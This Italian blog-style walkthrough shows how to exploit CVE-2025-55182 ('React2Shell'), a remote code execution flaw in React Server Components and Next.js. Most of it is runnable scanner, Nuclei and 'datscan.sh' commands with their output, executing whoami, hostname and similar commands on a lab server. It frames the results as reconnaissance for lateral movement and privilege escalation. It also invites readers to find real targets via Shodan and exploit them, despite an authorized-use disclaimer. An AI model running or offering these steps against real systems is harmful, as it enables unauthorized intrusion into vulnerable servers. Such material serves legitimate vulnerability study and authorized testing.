
Exploit della vulnerabilità di sicurezza CVE-2025-55182
CVE-2025-55182, nota anche come React2Shell, è una grave vulnerabilità di Remote Code Execution (RCE) che colpisce i React Server Components (RSC). Utilizza il protocollo Flight per comunicare tra client e server. Quando il client richiede dati, il server riceve un payload, lo analizza, e ciò può permettere a un aggressore di iniettare strutture dannose o porzioni di codice arbitrario che React accetta come validi.
| Elemento | Contenuto |
|---|---|
| Livello | Critical (CVSS 10.0) |
| Tipo | Unsafe Deserialization (CWE-502) |
| Metodo di attacco | Remoto, nessuna autenticazione richiesta |
| Versioni interessate: | React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 e Next.js: 15.0.0 – 15.0.4, 15.1.0 – 15.1.8, 15.2.0 – 15.2.5, 15.3.0 – 15.3.5, 15.4.0 – 15.4.7, 15.5.0 – 15.5.6, 16.0.0 – 16.0.6 |
Il server elabora il payload proveniente dal client senza una validazione completa, permettendo all'attaccante di:
L'attività di sfruttamento relativa a questa vulnerabilità è stata rilevata a partire dal 5 dicembre 2025. La maggior parte degli attacchi riusciti proviene da valutazioni di gruppi di attacco. Sono interessati sia gli ambienti Windows che Linux.
Installazione
pip install -r requirements.txt
Scansiona un server vulnerabile:
python3 scanner.py -u https://example.com
Inserisci il percorso da scansionare (qui ho inserito il mio server vulnerabile http://192.168.10.1:3000)
Risultato ottenuto:
╰─ python3 scanner.py -u http://192.168.10.1:3000
brought to you by assetnote
[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled
[VULNERABLE] http://192.168.10.1:3000 - Status: 303
Scansiona lista di host:
python3 scanner.py -l hosts.txt
Scansione multi-thread e salvataggio risultati:
python3 scanner.py -l hosts.txt -t 20 -o results.json
Scansione con intestazioni personalizzate:
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
Scansione di target Windows:
python3 scanner.py -u https://example.com --windows
Usa metodo di rilevamento sicuro del canale laterale:
python3 scanner.py -u https://example.com --safe-check
Come puoi vedere, abbiamo riscontrato una vulnerabilità di sicurezza, il che significa che il server che forniamo è suscettibile agli attacchi da parte di un aggressore.
Ora useremo Nuclei per verificare quale vulnerabilità affligge il server sopra e se ha un PoC. Questa funzione funziona inviando richieste personalizzate, riducendo i falsi positivi e supportando la scansione parallela.
nuclei -t scan.yaml -u http://192.168.10.1:3000
Risultato ottenuto
[INF] Current nuclei version: v3.7.1 (latest)
[INF] Current nuclei-templates version: v10.4.0 (latest)
[INF] New templates added in latest release: 94
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://192.168.10.1:3000
[INF] Scan completed in 431.97876ms. 1 matches found.
Il sistema ha rilevato che questo server è vulnerabile e può essere sfruttato tramite la vulnerabilità CVE-2025-55182. Da ciò puoi vedere che è una vulnerabilità piuttosto pericolosa e importante, con molti PoC disponibili sulle piattaforme social. ☺☺☺
Puoi vedere che queste informazioni sono sufficienti per confermare l'esistenza della vulnerabilità nell'applicazione precedente. Per dimostrare che questa applicazione può essere sfruttata per eseguire un comando o codice in remoto, inizierò il PoC.
chmod +x scanner.sh
# Verifica se il target è vulnerabile
./datscan.sh -d example.com
# Esegue un comando per verificare l'utente corrente
./datscan.sh -d example.com -c "whoami"
# Con URL completo
./datscan.sh -d example.com -c "uname -a"
Significato:
Restituisce l'utente attuale che esegue il processo del server
Aiuta a determinare:
=> Questo è il comando più semplice per confermare un RCE riuscito
-d, --domain - dominio/URL-c, --command - Comando da eseguire (es: whoami, hostname,...)# Verifica il nome host
./datscan.sh -d http://192.168.10.1:3000/ -c hostname
# Determina la versione del sistema operativo
./datscan.sh -d http://192.168.10.1:3000/ -c ver
# Verifica che l'esecuzione dei comandi funzioni stabilmente
./datscan.sh -c "echo test"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %USERNAME%"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %COMPUTERNAME%"
Questo è il passo di ricognizione iniziale dopo uno sfruttamento riuscito.
Ci aiuta a confermare: RCE funzionante, identificare il sistema operativo,...
Poiché questo esperimento è dimostrato in un ambiente lab personale per evitare conseguenze legali, l'uso di intestazioni HTTP per esfiltrare dati, output grandi o caratteri speciali può causare:
ERR_INVALID_CHAR
I comandi brevi (ad es. whoami, ver) sono più affidabili per illustrare l'ambiente di test di cui sopra.
Se non ti piace, puoi usare Shodan per controllare gli indirizzi IP direttamente nell'ambiente reale e fare come nel mio esperimento sopra per sfruttare (non consigliato).
Come notato sopra. Questo strumento è solo per scopi educativi e test di sicurezza autorizzati. Non utilizzare questo strumento per testare sistemi che non possiedi o per i quali non hai autorizzazione per il test.
| Significato dei comandi eseguiti | Contenuto |
|---|
| Restituisce il nome host | Utilizzato per: - identificare il sistema interessato - servire per movimento laterale (in ambiente interno) |
| Determina la versione del sistema operativo | Importante per: - valutare la possibilità di ulteriore sfruttamento (privilege escalation) - scegliere l'exploit appropriato |
| Verifica l'esecuzione dei comandi | Utilizzato per eseguire il debug del payload/scanner |
| Restituisce il nome utente corrente | In questo caso: - l'utente è ADMIN → potrebbe avere privilegi elevati - Più importante di whoami in alcuni casi Windows |
| Restituisce il nome host | Restituisce il nome host tramite variabile d'ambiente |